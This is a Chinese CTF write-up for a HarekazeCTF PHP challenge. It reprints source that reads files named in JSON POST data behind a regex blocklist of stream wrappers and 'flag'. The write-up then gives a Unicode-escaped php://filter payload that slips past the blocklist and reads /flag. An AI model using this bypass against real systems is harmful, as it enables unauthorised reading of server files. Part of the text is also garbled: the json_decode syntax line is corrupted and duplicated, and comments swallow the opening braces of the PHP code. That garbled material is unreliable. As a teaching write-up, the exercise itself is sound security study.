<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input'); //php://input可以读取没有处理过的POST数据
$json = json_decode($body, true); //对body进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) //body有效且设置了json数据page{
$page = $json['page'];
$content = file_get_contents($page); //从page对应的数据中读取
if (!$content || !is_valid($content)) //判断读取出的content是否有效,不能包含flag php等字符,所以要使用编码,想到php://filter/convert.base64-encode/resource= 来读取{
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); //如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);
代码审计
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
is_valid函数用于正则过滤,如php file glob等协议和flag字符都被匹配
json_encode对变量进行json编码
语法: json_encode ( $ value [, $ options = 0 ] ) 注意:1、$ value为要编码的值,且该函数只对UTF8编码的数据有效;
2、options:由以下常量组成的二进制掩码:JSON_HEX_QUOT, JSON_HEX_TAG,JSON_HEX_AMP, JSON_HEX_APOS,JSON_NUMERIC_CHECK,JSON_PRETTY_PRINT,JSON_UNESCAPED_SLASHES,JSON_FORCE_OBJECT;3、第二个参数一般不需要;
4、json数据其实就是一个string,可以用var_dump()打印出来看数据类型;
5、执行成功返回JSON数据,否则返回FALSE。
json_decode对json数据解码,转换为PHP变量
语法:json_decode ($ json [,$ assoc = false [, $ depth = 512 [, o p t i o n s = 0 ] ] ] ) 注意: 1 、 options = 0 ]]]) 注意:1、 options=0]]])注意:1、 json 为待解码的数据,必须为utf8编码的数据;
2、$assoc 值为TRUE时返回数组,FALSE时返回对象;3、$depth 为递归深度;
4、$option 二进制掩码,目前只支持 JSON_BIGINT_AS_STRING;
5、一般只用前面两个参数,如果要数据类型的数据要加一个参数true。
思路:传入json数据:{"page":"php://filter/convert.base64-encode/resource=/flag"}
绕过过滤,使用unicode编码,因为json_decode在解析的时候会把unicode编码解析为字符串
payload:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
请求的时候注意把source参数去掉,因为有exit函数
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
解码得到flag